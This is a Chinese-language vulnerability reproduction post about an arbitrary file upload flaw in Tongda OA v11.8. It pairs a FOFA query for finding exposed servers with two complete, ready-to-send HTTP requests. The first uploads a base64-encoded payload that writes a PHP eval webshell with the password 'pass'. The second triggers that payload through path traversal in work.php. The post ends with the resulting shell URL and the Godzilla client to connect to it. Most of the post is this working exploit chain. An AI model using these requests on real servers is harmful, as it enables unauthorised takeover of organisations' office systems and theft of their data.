通达OA v11.8 api.ali.php任意文件上传漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 通达OA v11.8 api.ali.php任意文件上传漏洞

0x01 阅读须知

0x02 漏洞描述

通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达存在任意文件上传漏洞，攻击者可以通过指定接口上传任意文件，获取服务器管理权限。

0x03 漏洞复现

fofa：app=”TDXK-通达oa“

1.上传写入shell文件

POST /mobile/api/api.ali.php HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
Host: {{Hostname}}
Content-Length: 418
Connection: close


--502f67681799b07e4de6b503655f5cae
Content-Disposition: form-data; name="file"; filename="fb6790f7.json"
Content-Type: application/octet-stream

{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY3LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWyJwYXNzIl0pOycpOw==","dataAnalysis":"{\"a\":\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\"}"}
--502f67681799b07e4de6b503655f5cae--

2.运行写入shell文件，返回+OK证明成功写入，路径需要改为当前的年月，例如路径中的2209，表示22年9月

GET /inc/package/work.php?id=../../../../../myoa/attach/approve_center/2209/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f7 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=8qabkksg1gs817uq8m5rlt2ja5; KEY_RANDOMDATA=18588
Upgrade-Insecure-Requests: 1

3.哥斯拉连接

链接：http://{{Hostname}}/fb6790f7.php
密码：pass